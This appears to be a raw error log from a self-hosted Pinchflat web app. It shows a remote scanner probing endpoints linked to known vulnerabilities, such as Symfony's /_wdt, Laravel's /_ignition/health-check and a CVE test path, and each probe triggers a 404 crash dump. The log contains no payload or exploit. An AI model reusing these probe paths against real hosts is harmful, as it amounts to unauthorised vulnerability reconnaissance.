"pinchflat.burns-family.net", method: "GET", owner: #PID<0.21636.0>, params: %{}, path_info: ["app_dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/app_dev.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgiRJIY_TE20ACMoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21635.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37240}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app_dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21635.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37240}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21636.0>, params: %{}, path_info: ["app_dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/app_dev.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgiRJIY_TE20ACMoB"} ], scheme: :http, script_name: [], (truncated) 15:40:37.553 [info] GET /_wdt 15:40:37.553 [debug] QUERY OK source="settings" db=0.1ms idle=112.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.554 [debug] QUERY OK source="settings" db=0.0ms idle=112.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.554 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:37.554 [error] #PID<0.21638.0> running PinchflatWeb.Endpoint (connection #PID<0.21637.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /_wdt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_wdt (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21637.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_wdt", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37244}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21638.0>, params: %{}, path_info: ["_wdt"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_wdt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgir6iGBBptIACMph"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21637.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_wdt", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37244}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_wdt (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21637.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_wdt", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37244}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21638.0>, params: %{}, path_info: ["_wdt"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_wdt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgir6iGBBptIACMph"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, (truncated) 15:40:37.572 [info] GET /_ignition/health-check 15:40:37.572 [debug] QUERY OK source="settings" db=0.1ms idle=130.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.572 [debug] QUERY OK source="settings" db=0.0ms idle=130.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.572 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:37.572 [error] #PID<0.21640.0> running PinchflatWeb.Endpoint (connection #PID<0.21639.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /_ignition/health-check ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_ignition/health-check (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21639.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_ignition/health-check", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37252}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21640.0>, params: %{}, path_info: ["_ignition", "health-check"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_ignition/health-check", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgiwXn_F_wVcACMqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21639.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_ignition/health-check", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37252}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_ignition/health-check (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21639.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_ignition/health-check", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37252}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21640.0>, params: %{}, path_info: ["_ignition", "health-check"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_ignition/health-check", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-reva (truncated) 15:40:37.667 [info] GET /__cve_probe_cve_test_404 15:40:37.667 [debug] QUERY OK source="settings" db=0.0ms idle=225.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.667 [debug] QUERY OK source="settings" db=0.0ms idle=113.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.667 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:37.667 [error] #PID<0.21642.0> running PinchflatWeb.Endpoint (connection #PID<0.21641.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /__cve_probe_cve_test_404 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__cve_probe_cve_test_404 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21641.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__cve_probe_cve_test_404", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37268}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21642.0>, params: %{}, path_info: ["__cve_probe_cve_test_404"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__cve_probe_cve_test_404", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgjG_0MCUpFAABcTC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21641.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__cve_probe_cve_test_404", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37268}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__cve_probe_cve_test_404 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21641.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__cve_probe_cve_test_404", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37268}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21642.0>, params: %{}, path_info: ["__cve_probe_cve_test_404"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__cve_probe_cve_test_404", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, priv (truncated) 15:40:37.685 [info] GET /__cve_probe_cve_test_404 15:40:37.685 [debug] QUERY OK source="settings" db=0.0ms idle=131.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.685 [debug] QUERY OK source="settings" db=0.0ms idle=112.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.685 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:37.685 [error] #PID<0.21644.0> running PinchflatWeb.Endpoint (connection #PID<0.21643.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /__cve_probe_cve_test_404 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__cve_probe_cve_test_404 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21643.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__cve_probe_cve_test_404", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37278}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21644.0>, params: 